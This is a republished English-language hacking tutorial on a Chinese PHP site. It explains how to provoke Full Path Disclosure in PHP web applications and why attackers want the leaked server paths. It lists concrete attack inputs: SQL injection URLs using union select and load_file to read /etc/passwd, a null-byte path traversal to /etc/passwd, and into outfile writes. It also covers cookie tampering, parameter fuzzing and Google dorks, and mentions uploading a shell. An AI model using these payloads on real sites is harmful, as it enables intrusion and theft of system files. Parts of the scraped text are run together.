来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] Greetings from, well, me? :PIn this little write up today, I am going to try and explain you what #39;FPD#39; is, how to detect it, analyze it, and some pretty good......
Greetings from, well, me? :P Code:
error_reporting(0);
'1' = On. ==> 0 = Off. Any kind of PHP error that happens when you load up a page will display itself on the page. That error is meant to notify the programmer about a coding glitch on his page. The common error would basically look something similar to this - Code:
Warning: function(function.name) [Function_name]: Some brief summery in /home/user-name/public_html/website.pony/rawr.php on line 126
Now the question is: Why is the path needed? Because, it is a must-have detail at some cases of those three attacks: SQL Injection using load_file() & outfile Those two SQL Queries (Also the 'dumpfile' query, so make it three) require the full path of the targeted directory in order to execute themselves. Example: Code:
/**/load_file('/home/pony/www/httpdocs/public_html/index.php')--
/**/into outfile '/home/pony/www/httpdocs/public_html/rawr.txt'-- Local File Inclusion (LFI) Some variants of LFI attacks won't allow you to poison logs / use filters, so you can try loading your own way through the site. Symbolic linking (Symlinking) At some cases, when uploading a shell is not an option, you'd rather know the path in order to work a symbolic link - A shortcut. And more methods which I can't come up with as for this moment. So, How to cause it? Oh, there's quite a few methods: [#] Transforming X type of variables to type Y Code:
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=lol
Sooo... Try to insert a string instead. Might work. [#] Using false file names Code:
http://site.com/index.php?page=index.php ==> http://site.com/index.php?err=ThisDoesNotExist.php
Code:
Warning: require(ThisDoesNotExist.php) [function.require]: failed to open stream: No such file or directory in /home/content/g/a/r/gardenlover/html/admin/index.php on line 25
Fatal error: require() [function.require]: Failed opening required 'ThisDoesNotExist.php' (include_path='.:/usr/local/php5/lib/php') in /home/content/g/a/r/gardenlover/html/admin/index.php on line 25 [#] Basically messing around with the value of the parameter Code:
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=4.1
http://site.com/index.php?err=4 ==> http://site.com/index.php?err=-4 http://site.com/index.php?err=4 ==> http://site.com/index.php?err=4! [#] braces. Code:
http://site.com/index.php?err=4 ==> http://site.com/index.php?err[]=4
I believe this has something to do with the whole array usage at PHP (Uses braces?), not sure though. Possible output: Code:
Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84
Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/index.php on line 131 [#] Messing around with the COOKIEZ Code:
javascript:void(document.cookie="PHPSESSID="); <== Into your browser
(Does also possible from a cookie editor browser addon) Simple - We changed the value of the 'PHPSESSID' cookie (A default cookie name, found in probably-every-site-that-uses-cookies) into... Nothing. It becomes null. Which, as you already guessed, fucks up something at the session: Code:
Warning: session_start() [function.session-start]: The session id contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2 [#] SQLi fuckery Code:
http://site.com/index.php?id=4 ==> http://site.com/index.php?id='4
http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4'; http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+and+1=2--+ http://site.com/index.php?id=4 ==> http://site.com/index.php?id=0 http://site.com/index.php?id=4 ==> http://site.com/index.php?id=4+div+0--+ Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/user14/domains/rawr.com/public_html/page.php on line 666
[#] Inner-library-files-thingie Code:
http://site.com/wordpress/ ==> http://site.com/wordpress/inner-file-example.php
Other ways to get FPD, without coding errors. [#] PHPINFO(); Code:
http://site.com/phpinfo.php
http://sie.com/phpinfo/ http://www.2cto.com /phpdetails.php Pic: Spoiler (Click to Hide)
[#] '/etc/passwd' <- Default linux & FreeBSD categories-alike file. (Echos all the users of the box, their group number, and their installed path) Code:
http://www.2cto.com /index.php?lol=-1+union+select+1,2,3,load_file('/etc/passwd')--+
http://site.com/index.php?lol=../../../etc/passwd%00 Spoiler (Click to Hide)
[#] Google dorking Code:
site:site.com & intext:"include()"
site:site.com & intext:"mysql" "error" 摘自 http://hi.baidu.com/evilrapper/blog/item/6924db27c6430023918f9d89.html |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com